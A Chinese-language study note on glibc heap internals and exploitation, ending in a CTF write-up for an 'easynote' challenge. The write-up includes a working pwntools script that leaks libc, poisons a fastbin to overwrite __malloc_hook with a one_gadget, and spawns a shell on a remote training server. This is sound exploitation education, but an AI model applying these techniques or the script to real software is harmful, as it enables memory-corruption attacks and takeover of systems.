堆基础知识
在linux内存管理中,栈从高地址向低地址生长,而堆是从低地址向高地址生长。学过csapp的人知道,系统调用是一个 trap 类型的 中断 如果我们频繁调用 syscall 会使得程序经常在 Kernel 和 User 模式之间切换,这个性能开销是很大的,因此很多库都会向内核申请一大块整体的内存,然后自行管理这一块内存,来切割、分配、回收、合并等操作。
分配
Ptmalloc
当我们第一次调用 malloc 函数的时候初始化 main_arena ,并向 kernel 申请一大块内存,再从这个内存中分配处一个 Chunk ,然后返回给程序。
在 ptmalloc 中, Chunk 分为
- Allocated Chunk
- Free Chunk
- Top Chunk
Bins 分成
- Fastbin
- Small Bin
- Large Bin
- Unsorted Bin
- Tcache(glibc 2.26后)
Bins 就是垃圾桶的意思,管理 free 后的 Chunk
Chunk
Allocated Chunks
一个典型的 Chunk 的示意图如下
- prev_size/data : 临近的上一个
Chunk的size或data
如果上一个 Chunk 是被 free 了的,那这一部分就是size,如果上一个 Chunk 是正在使用中,那么他就可以将这一部分复用给 Chunk 来加大空间。
- size: 本
Chunk的Size - A-bit:是否由其他的
arena管理,而非main_arena - M-bit: 是否由
mmap创造出来 - P-bit: 临近的上一个Chunk是否在使用
注:如果P置为1,那么 prev_size 就会作为 data 给上一个 Chunk 使用。
最上面的0x10 bytes我们经常叫 meta data (元数据)
例如我们malloc两个0x10的chunk,然后free前一个,再malloc一个0x18的chunk,我们会发现这个新的0x18的chunk大小仍然是0x20,这就是prev_size作为了上一个chunk的data来保存数据
Chunk的大小
Chunk 是要和 0x10 对齐的,比如我们 malloc(0x10) ,需要先加上 0x10的 metadata ,然后再和 0x10 对齐,变成 0x20
举个例子
现在我们 malloc(0x29) ,然后写入 0x29 个 A
我们可以计算出 Chunk Size=(0x29+0x8+0xf)&~0xf=0x40
下一个 Chunk 的size是 0x20ce0,其中 P-bit 被置1,因此左下角的 XXXX 就是本 Chunk 的数据。
Free Chunk
被 Free 的 Chunk 会根据 Size 进入到不同的 Bins 中,一个被 Free 了的 Chunk 长这样
其中 fd 是 forward Pointer ,指向下一个 Free Chunk , bk 是 Backward Pointer ,指向上一块 Free Chunk ,glibc通过 fd,bk 将各个 Free Chunk 串联起来
当我们 Free 掉上面这个 Chunk ,下一个 Chunk 将会采用 prev_size ,然后 P-bit 被置0。这样glibc可以通过 P-bit 来判断上一个 Chunk 的状态,并且可以通过 Prev_size 来找到这个 Chunk 的大小。
Top Chunk
是在 Heap 顶端的 Chunk ,代表着剩余的空间,天生就是被切割的命。
当 malloc 在分配一个新的空间时候,如果什么都找不到,就会从 Top Chunk 下面切割一块适合的大小,然后返回给程序。如果 Top Chunk 不够分配的大小,就会 brk() 一个新的巨大的内存,然后然后将这个新的内存块作为 Top Chunk ,并且将原来的老的 Top Chunk 丢到 Unsorted Bin 中
各种bins
Tcache
Tcache是从 libc-2.26 后使用的,速度比 Fastbin 更快,但是少了很多安全检查。
每个thread都会有维护一个 Tcache
Tcache 有很多,从0x20,0x30,0x40 一直到0x410
每个Tcache最多赛7个Chunks
Free 这个 Chunk 时,不会清除下一块的 P-bit
通过 Tcache-perthread-struct 来管理 Tcache ,指向这个结构的指针存在于 TLS 中
其中上面的 Counts 标记了当前大小的数量,下面的 Entry 则指向了对应大小的第一个 Free Chunk
Tcache 的单链表采用头插法,后 Free 的 Chunk 在链表前面。
例如我们当前的线程名字叫 Ben
每一个被 Free 的 Chunk 的 fd 指针充当单链表的 next 指针,而 bk 指针则作为 key 指回Tcache-perthread-struct,程序在 free 的时候,会检查这个key是否和当前的这个perthread_struct是否相等。
demo
比如我们申请3个大小是 0x20 的 Chunk
然后我们free这三个chunk
当我们malloc的时候,他会最初找tcache里面相同大小的freed_chunk,然后返回给程序
但是这里有个问题,tcache是一个 LIFO 结构,会从链表头摘下一个 Chunk 然后返回给程序,他会将 当前的 next 指针赋值给 Chunk ,因此我们可以改这个 next 也就是 fd 指针为一个我们喜欢的地址,比如是栈上的一个地址,然后再分配的时候,就会将栈上的地址作为一个区块拿给我们,就可以实现任意地址写入。
Tcache总结
跟 fastbin 类似
- 都是LIFO
- 在
free时,如果下一块是Top Chunk不会合并进去 - 都不会吧下一个 P-bit置0(其实我们可以理解为这个东西被tcache和fastbin截获了,他们用着,马上就会分配出去,所以不改pbit
Size Range 比 fastbin 大很多
每个 Tcache 的 entry 最多能装7个 chunk (所以我们可以先将对应大小的tcache塞满,然后打fastbin dup)
fastbin的fd指的是chunk header,而 tcache的fd指的是chunk data
常见利用
堆溢出
可以越界写入,将下一个 Chunk 改掉,比如改一下 Size 啊。
例子
例如我们有一个堆块存着用户的信息
然后
UAF
USE-AFTER-FREE
也就是将一个chunk free之后,对应的指针没有清零,因此我们还可以访问这块内存。
也就是我们可以读取和更改这个free chunk的内存数据
例子
现在我们申请了两个chunk 分别是 Chunk1 和 Chunk2
然后我们 free 掉 Chunk2
然后我们读取 Chunk2 的8bytes,就可以获取到堆地址
或者往 Chunk2 中写入8个bytes,就可以修改 fastbin 或者 tcache 链表
不同libc版本的校验
2.23
fastbin:对size和对应fastbinsize的校验
smallbin:完整性的检查(并不完整)
/code bck→fd==victim
unsortedbin:检查victim size是否合理
对bck→fd是否等于victim进行校验(甚至堆块切割的时候也有校验)
unlink:对双向链表(largebin)增加对完整性的校验
/code if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr (“corrupted double-linked list”);
对largebin 增加对nextsize系列的完整性校验
2.27
tcache:最原始状态 并无什么校验
unlink:新增对presize和size的一致性校验 /code if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr (“corrupted size vs.
2.28∶
unsortedbin:新增对链表完整性的校验
也就是会校验victim→fd是否等于unsortedbin头 不影响unsortedbin写入一个大值
2.29:
tcache:结构体新增key字段(放在了bk字段)导致无法随意分配
可以尝试leak key伪造区块
unsorted bin:除了对本身size检查以外
还增加了对下一个的size校验
下一个的presize校验
以及下一个的pre inuse位校验 unsortedbin attack基本失效
还有双向链表的检验
top:新增对size的校验 遏制了house of force
2.32:
fastbin:校验堆块是否对齐
/code if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (“malloc(): unaligned fastbin chunk detected 2”);
单链表:引入了safe linking
单链表fd的值变成了P xor (L»12)
泄露出堆地址之后即可正常伪造fd
fastbinDup
fastbin
这里面 需要注意的是fastbin指向的是header而不是data部分,因此如果要写入一些奇怪的东西 比如libc-one-gadget,应该是那个地址往上0x10
lilac
easynote
https://www.cnblogs.com/hed10ne/p/17456751.html#easynote
构造一个chunk,使其进入Unsorted Bin,然后打印fd指针即可获取一个与 main_arena 有固定偏移的地址,通过动态调试同时获取这个地址和libc基址,即可获取此地址与libc之间的偏移,从获取libc基址。
- 申请大小为4000的准备进入
Unsorted Bin的内存,其编号为0 - 申请大小为4000的,防止0号内存合并进
top chunk - 释放掉0号内存,使其进入
Unsorted Bin,此时原本指向数据的指针将指向chunk结构体的fd成员变量。 - 输出0号内存的值,获取
main_arena有固定偏移的地址 - 通过调试可以获取到此时libc基址,算出地址与libc的偏移为0x3c4b78
one_gadget libc-2.23.so > pwn.txt
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
使用Fastbin Attack实现任意地址写,主要思想是控制在__malloc_hook附近寻找可以当作"进入fastbin的chunk“的结构体,然后通过UAF将进入fastbin的chunk的fd成员变量修改成构造的结构体地址,使__malloc_hook附近构造的结构体进入fastbin尾部,使其能够通过malloc获取__malloc_hook附近的指针,以便覆盖__malloc_hook的值。
- 寻找
__malloc_hook附近的内存,发现__malloc_hook上方存在0x000000000000007F,适合作为chunk的size,此时size对于__malloc_hook的偏移为0x1B,chunk地址距离size地址还差一个prev_size成员变量,因此chunk地址需要__malloc_hook地址减去0x23,其可malloc的大小为0x60(chunk大小减去prev_size和size为malloc出来的大小为可储存的用户数据大小为0x6F,又因为需要和2 *SIZE_SZ对齐,所以我们只能申请0x60的大小) - 申请大小为0x60(十进制96)的内存
- 释放掉刚刚申请的内存使其进入
fastbin - 通过UAF修改fd指针为
__malloc_hook0x23 - 申请大小为0x60的内存,将刚刚进入fastbin的内存申请回来
- 再次申请大小为0x60的内存,获取
__malloc_hook附近的指针 - 将其内存赋值为gadget准备获取shell(因为实际上并不能直接获取)
__malloc_hook + __realloc_hook
经过测试,发现几个gadget都不能满足要求,这时候就需要调整内存结构使其满足gadget的需求,我们选取要求[rsp+0x30] == NULL的gadget使其满足get shell的要求,我们可以通过将__mallloc_hook设置成realloc附近地址(具体选哪里取决于我们用多少个push能get shell),再将__realloc_hook设置成gadget来获取shell(因为realloc有好多push可以改变rsp使其更有可能满足gadget条件),经过测试,直接使用realloc即可get shell。
from pwn import *
context.arch = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
# p = process(["./libc6-i386_2.31-0ubuntu9.14_amd64.so", "./ISCC_easy"],env={"LD_PRELOAD":"./libc6-i386_2.31-0ubuntu9.14_amd64.so"})
# p = process('./ISCC_easy')
# p = remote("182.92.237.102", 10013)
context.terminal =['tmux','splitw','-h']
# p = process("./pwn")
p = remote("train.hitctf.cn",25931)
libc = ELF("./libc-2.23.so")
def add(length, payload):
p.sendafter("5. exit",str(1))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def edit(index, length, payload):
p.sendafter("5. exit",str(2))
p.sendafter("Index --->",str(index))
p.sendafter("The length of your content --->",str(length))
p.sendafter("Content --->",payload)
def delete(index):
p.sendafter("5. exit",str(3))
p.sendafter("Index --->",str(index))
def show(index):
p.sendafter("5. exit",str(4))
p.sendafter("Index --->",str(index))
def d():
gdb.attach(p)
pause()
add(4000,b'a')
add(4000,b'a')
delete(0)
# d()
show(0)
p.recvuntil("Content: ")
leak_data = u64(p.recvuntil(b'done')[:-5].ljust(8,b'\x00'))
success(f"leak_data--->{hex(leak_data)}")
# d()
libc_base = leak_data - 0x3c4b78
success(f"libc_base--->{libc_base}")
# d()
# d()
malloc_hook = libc_base + libc.sym['__malloc_hook']
og = libc_base + 0x4527a
realloc_addr = libc_base + libc.sym['realloc']
add(0x60,b'aaaa') # 2
delete(2)
edit(2,9,p64(malloc_hook-0x23)) # chunk.fd -> malloc_hook - 0x23
add(0x60,b'aaaa') # 拿到这个 下一个就是malloc_hook
# d()
# gdb.attach(p)
add(0x60, b'A'*11+p64(og)+p64(realloc_addr)) # 改成og
# p.sendafter("5. exit",str(1))
# p.sendafter("The length of your content --->",str(96))
p.interactive()
- find_fake_fast
usage: find_fake_fast [-h] addr sizeFinds candidate fake fast chunks that will overlap with the specified address. Used for fastbin dups and house of spirit.用于house of spirit
tcachedup
低版本libc
低版本libc对tcache几乎没有任何校验,我们可以将一个堆块free,让他进入 tcache bins 然后利用 uaf 将 fd 指针改写为我们需要的地址(这里甚至没有对 size 位的校验)
注意: tcache中直接指向数据部分,而 fastbin 指向的是 数据部分往上 0x10 的 chunk header
注意:申请的时候 tcache 中最好要有两个及以上堆块,否则我们改了第一个 tcache 中的 fd 申请之后 counts 变为0,为了拿到我们想要地址的写入,我们需要再 malloc 一块,而这个时候会爆而挂掉
高版本libc
高版本libc下的 next 指针计算方法为 next_addr ^ (tcache_addr >> 12)
- 当
tcachebin链表中只有一个chunk的时候,此时chunk->next << 12即可得到堆地址。 - 当
tcachebin链表的前两个chunk的地址相差不是很大的时候,可以用下面的公式计算:
def calc_heap(addr):
s = hex(addr)[2:]
s = [int(x, base=16) for x in s]
res = s.copy()
for i in range(9):
res[3+i] ^= res[i]
res = "".join([hex(x)[2:] for x in res])
return int16_ex(res)
此外,由于 key 的存在,我们不能 double free ,可以填满 tcache 打 fastbin ,如果能改写 key 也可以直接绕过
在 free 的代码中加了检查
如果 free 的 chunk key 是 tcache , 则会怀疑他已经被 free 了一次,遍历 tcache 找是不是已经被 free 过了